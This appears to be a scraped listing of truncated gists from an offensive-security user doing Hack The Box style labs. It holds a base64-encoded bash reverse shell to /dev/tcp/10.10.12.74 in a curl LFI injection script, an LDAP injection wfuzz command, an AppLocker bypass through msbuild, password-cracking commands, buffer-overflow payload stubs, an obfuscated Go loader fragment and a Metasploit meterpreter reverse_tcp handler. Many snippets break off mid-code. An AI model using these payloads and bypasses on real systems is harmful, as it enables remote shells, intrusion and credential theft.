dualfade

#!/bin/bash
# curl_post_LFI_Injection.sh
# reverse nc bash shell --

# POST Data --
# --data-binary $"check=cXVhZ2dh" \
# ➜ echo "YjpcQXA7IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTIuNzQvMTMzNyAwPiYxCg==" | base64 -d
# b:\Ap; bash -i >& /dev/tcp/10.10.12.74/1337 0>&1
# ~

dualfade

https://gist.githubusercontent.com/bcoles/421cc413d07cd9ba7855/raw/fd8b6f0d63f88c334beb45d2615c8097f06743b6/7zip-jtr.sh
#!/bin/bash
# 7zip-JTR Decrypt Script
#
# Clone of JTR Decrypt Scripts by synacl modified for 7zip
# - RAR-JTR Decrypt Script - https://synacl.wordpress.com/2012/02/10/using-john-the-ripper-to-crack-a-password-protected-rar-archive/
# - ZIP-JTR Decrypt Script - https://synacl.wordpress.com/2012/08/18/decrypting-a-zip-using-john-the-ripper/

echo "7zip-JTR Decrypt Script";
if [ $# -ne 2 ]

dualfade

https://github.com/jpillora/chisel

┌[cdowns@7242-alpha-reticuli] [/dev/pts/14] [master] 
└[~/go/src/github.com/jpillora/chisel]> cd $GOPATH/src/github.com/jpillora/chisel 
┌[cdowns@7242-alpha-reticuli] [/dev/pts/14] [master] 
└[~/go/src/github.com/jpillora/chisel]> go build
┌[cdowns@7242-alpha-reticuli] [/dev/pts/14] [master] 
└[~/go/src/github.com/jpillora/chisel]> ls -l chisel 
-rwxr-xr-x 1 cdowns cdowns 10539193 Jan 28 04:24 chisel*
┌[cdowns@7242-alpha-reticuli] [/dev/pts/14] [master] 

dualfade

//Applocker bypass - Windows 2016 (Build 14393) x64
//C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SoiYtuH7.xml
//Microsoft (R) Build Engine version 4.6.1586.0
//[Microsoft .NET Framework, version 4.0.30319.42000]
//Copyright (C) Microsoft Corporation. All rights reserved.

//Build started 2/5/2019 8:55:26 PM.

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->

dualfade

./wfuzz -c -s 1 -z file,/home/cdowns/Documents/Hack_The_Box/CTF/ldap_attributes_all.txt,double,urencode -d 'inputUsername=ldapuser%2529%2528FUZZ%253D%252A&inputOTP=password' --hw 233 -u 'http://10.10.10.122/login.php' -p 127.0.0.1:8080

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.3.4 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.122/login.php
Total requests: 2026

dualfade

/home/cdowns/Github/JohnTheRipper/run/./zip2john exploitme.zip > exploitme.john
ver 2.0 efh 5455 efh 7875 exploitme.zip/membermanager PKZIP Encr: 2b chk, TS_chk, cmplen=3166, decmplen=10224, crc=32B64CF9
ver 2.0 efh 5455 efh 7875 exploitme.zip/memo PKZIP Encr: 2b chk, TS_chk, cmplen=3775, decmplen=13304, crc=FC9CDB4F
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.

4 CORE OPTINON --
NO POINT IN CRUSHING MY 8 CORES INO THE GROUND --

dualfade

#!usr/bin/env python
import struct
from pwn import *
 
def gen_payload(start_addr, shellcode):
        context.arch='amd64'
        # Opcode for the NOP instruction
        nop = asm('nop', arch="amd64")
        nop1 = nop*72   # Create first NOP sled
 

dualfade

#!/usr/bin/env python
from struct import *

# bytes 400 --
buf = ""

# offset to RIP
buf += "A"*72             

# overwrite RIP -- 

dualfade

package main

import (
	"encoding/binary"
	"syscall"
	"unsafe"
)

const (
	lXMIZpS         = 0x1000

dualfade

MODIFIED VEIL HANDLER --
msfc -r /var/lib/veil/output/handlers/3fb7Jq79.rc

/*
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.13
set LPORT 3434
set ExitOnSession false
exploit -j